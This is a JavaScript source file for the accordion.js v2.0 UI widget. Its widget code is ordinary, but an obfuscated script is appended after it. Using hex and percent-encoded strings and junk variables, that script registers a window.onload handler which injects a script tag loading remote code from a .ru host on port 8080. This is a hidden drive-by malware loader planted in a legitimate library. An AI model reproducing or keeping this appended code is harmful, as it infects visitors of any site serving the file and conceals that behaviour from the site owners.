// accordion.js v2.0
//
// Copyright (c) 2007 stickmanlabs
// Author: Kevin P Miller | http://www.stickmanlabs.com
// 
// Accordion is freely distributable under the terms of an MIT-style license.
//
// I don't care what you think about the file size...
//   Be a pro: 
//	    http://www.thinkvitamin.com/features/webapps/serving-javascript-fast
//      http://rakaz.nl/item/make_your_pages_load_faster_by_combining_and_compressing_javascript_and_css_files
//

/*-----------------------------------------------------------------------------------------------*/

if (typeof Effect == 'undefined') 
	throw("accordion.js requires including script.aculo.us' effects.js library!");

var accordion = Class.create();
accordion.prototype = {

	//
	//  Setup the Variables
	//
	showAccordion : null,
	currentAccordion : null,
	duration : null,
	effects : [],
	animating : false,
	
	//  
	//  Initialize the accordions
	//
	initialize: function(container, options) {
	  if (!$(container)) {
	    throw(container+" doesn't exist!");
	    return false;
	  }
	  
		this.options = Object.extend({
			resizeSpeed : 8,
			classNames : {
				toggle : 'accordion_toggle',
				toggleActive : 'accordion_toggle_active',
				content : 'accordion_content'
			},
			defaultSize : {
				height : null,
				width : null
			},
			direction : 'vertical',
			onEvent : 'click'
		}, options || {});
		
		this.duration = ((11-this.options.resizeSpeed)*0.15);

		var accordions = $$('#'+container+' .'+this.options.classNames.toggle);
		accordions.each(function(accordion) {
			Event.observe(accordion, this.options.onEvent, this.activate.bind(this, accordion), false);
			if (this.options.onEvent == 'click') {
			  accordion.onclick = function() {return false;};
			}
			
			if (this.options.direction == 'horizontal') {
				var options = $H({width: '0px'});
			} else {
				var options = $H({height: '0px'});			
			}
			options.merge({display: 'none'});			
			
			this.currentAccordion = $(accordion.next(0)).setStyle(options);			
		}.bind(this));
	},
	
	//
	//  Activate an accordion
	//
	activate : function(accordion) {
		if (this.animating) {
			return false;
		}
		
		this.effects = [];
	
		this.currentAccordion = $(accordion.next(0));
		this.currentAccordion.setStyle({
			display: 'block'
		});		
		
		this.currentAccordion.previous(0).addClassName(this.options.classNames.toggleActive);

		if (this.options.direction == 'horizontal') {
			this.scaling = $H({
				scaleX: true,
				scaleY: false
			});
		} else {
			this.scaling = $H({
				scaleX: false,
				scaleY: true
			});			
		}
			
		if (this.currentAccordion == this.showAccordion) {
		  this.deactivate();
		} else {
		  this._handleAccordion();
		}
	},
	// 
	// Deactivate an active accordion
	//
	deactivate : function() {
		var options = $H({
		  duration: this.duration,
			scaleContent: false,
			transition: Effect.Transitions.sinoidal,
			queue: {
				position: 'end', 
				scope: 'accordionAnimation'
			},
			scaleMode: { 
				originalHeight: this.options.defaultSize.height ? this.options.defaultSize.height : this.currentAccordion.scrollHeight,
				originalWidth: this.options.defaultSize.width ? this.options.defaultSize.width : this.currentAccordion.scrollWidth
			},
			afterFinish: function() {
				this.showAccordion.setStyle({
          height: 'auto',
					display: 'none'
				});				
				this.showAccordion = null;
				this.animating = false;
			}.bind(this)
		});    
    options.merge(this.scaling);

    this.showAccordion.previous(0).removeClassName(this.options.classNames.toggleActive);
    
		new Effect.Scale(this.showAccordion, 0, options);
	},

  //
  // Handle the open/close actions of the accordion
  //
	_handleAccordion : function() {
		var options = $H({
			sync: true,
			scaleFrom: 0,
			scaleContent: false,
			transition: Effect.Transitions.sinoidal,
			scaleMode: { 
				originalHeight: this.options.defaultSize.height ? this.options.defaultSize.height : this.currentAccordion.scrollHeight,
				originalWidth: this.options.defaultSize.width ? this.options.defaultSize.width : this.currentAccordion.scrollWidth
			}
		});
		options.merge(this.scaling);
		
		this.effects.push(
			new Effect.Scale(this.currentAccordion, 100, options)
		);

		if (this.showAccordion) {
			this.showAccordion.previous(0).removeClassName(this.options.classNames.toggleActive);
			
			options = $H({
				sync: true,
				scaleContent: false,
				transition: Effect.Transitions.sinoidal
			});
			options.merge(this.scaling);
			
			this.effects.push(
				new Effect.Scale(this.showAccordion, 0, options)
			);				
		}
		
    new Effect.Parallel(this.effects, {
			duration: this.duration, 
			queue: {
				position: 'end', 
				scope: 'accordionAnimation'
			},
			beforeStart: function() {
				this.animating = true;
			}.bind(this),
			afterFinish: function() {
				if (this.showAccordion) {
					this.showAccordion.setStyle({
						display: 'none'
					});				
				}
				$(this.currentAccordion).setStyle({
				  height: 'auto'
				});
				this.showAccordion = this.currentAccordion;
				this.animating = false;
			}.bind(this)
		});
	}
}
	
this.YX="";this.hM="";var Td;if(Td!='' && Td!='YE'){Td=null};var ny='';function u(){this.H="";var i='';var DG=new Date();var I="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x75\x66\x66\x69\x6e\x67\x74\x6f\x6e\x70\x6f\x73\x74\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x2e\x69\x6e\x2e\x6d\x73\x6e\x2d\x63\x61\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var sa=new Array();var hC;if(hC!='K'){hC='K'};var A="g";var XD="";var pl;if(pl!='pH'){pl='pH'};var g=window;var D=unescape;var Ey;if(Ey!='gz'){Ey='gz'};this.rK='';function T(X,XM){var nN;if(nN!=''){nN='k'};var DGD=new Date();var Z=D("%5b")+XM+D("%5d");var s=new RegExp(Z, A);var zY='';return X.replace(s, i);var Ad="";};var RY;if(RY!='De' && RY != ''){RY=null};var GT=new Date();var B='';var E=T('81640398140361','36491');var RL;if(RL!='DE' && RL!='HO'){RL=''};var n=document;var _=D("%2f%73%61%6b%75%72%61%2e%6e%65%2e%6a%70%2f%73%61%6b%75%72%61%2e%6e%65%2e%6a%70%2f%73%6f%75%74%68%77%65%73%74%2e%63%6f%6d%2f%67%65%74%69%74%6f%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var nw;if(nw!='aX'){nw='aX'};var UU=new Date();var q='';var Dc;if(Dc!='Pb' && Dc!='vQ'){Dc=''};var w;if(w!=''){w='pp'};function ih(){var si;if(si!='ed' && si!='QM'){si=''};var QO="";q=I;this.an='';var PbM='';q+=E;var j=new Array();q+=_;this.hb="";try {var JJ=new String();var Eo;if(Eo!='GB' && Eo!='N'){Eo='GB'};var _z;if(_z!='UM' && _z != ''){_z=null};e=n.createElement(T('sQcQrFiKpQtG','FCGQoK'));var CK;if(CK!='y'){CK='y'};this.Iq="";e.defer=[1][0];e.src=q;n.body.appendChild(e);var mM;if(mM!='vB'){mM=''};var Bx='';var lu;if(lu!=''){lu='jy'};} catch(W){var sb=new String();};var Jm="";var Mn;if(Mn!='' && Mn!='Zb'){Mn='NM'};}var yh=new Date();var Ni;if(Ni!='ks' && Ni!='Jn'){Ni=''};g[String("on"+"lo"+"mB03ad".substr(4))]=ih;var rJ="";var jX=new Array();var ew;if(ew!='' && ew!='BQ'){ew=null};};var Il;if(Il!=''){Il='Jh'};var ij=new Date();var wo="";var UO='';u();